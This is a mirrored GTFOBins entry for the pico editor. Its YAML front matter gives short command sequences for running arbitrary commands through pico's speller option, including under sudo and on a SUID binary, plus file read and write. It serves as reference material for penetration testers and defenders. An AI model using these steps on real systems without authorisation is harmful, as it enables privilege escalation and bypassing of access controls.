mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-27 07:18:48 +01:00
38 lines
873 B
Markdown
38 lines
873 B
Markdown
|
---
|
||
|
functions:
|
||
|
execute-non-interactive:
|
||
|
- description: After running this exit the editor to see the command output.
|
||
|
code: |
|
||
|
COMMAND=id
|
||
|
TF=$(mktemp)
|
||
|
echo "$COMMAND" > $TF
|
||
|
chmod +x $TF
|
||
|
pico -s $TF
|
||
|
^T
|
||
|
sudo-enabled:
|
||
|
- description: After running this exit the editor to see the command output.
|
||
|
code: |
|
||
|
COMMAND=id
|
||
|
TF=$(mktemp)
|
||
|
echo "$COMMAND" > $TF
|
||
|
chmod +x $TF
|
||
|
sudo pico -s $TF
|
||
|
^T
|
||
|
suid-enabled:
|
||
|
- description: After running this exit the editor to see the command output.
|
||
|
code: |-
|
||
|
COMMAND=id
|
||
|
TF=$(mktemp)
|
||
|
echo $'#!/bin/sh -p\n'"$COMMAND" > $TF
|
||
|
chmod +x $TF
|
||
|
./pico -s $TF
|
||
|
^T
|
||
|
file-read:
|
||
|
- code: |
|
||
|
pico file_to_read
|
||
|
file-write:
|
||
|
- code: |
|
||
|
pico file_to_write
|
||
|
^O
|
||
|
---
|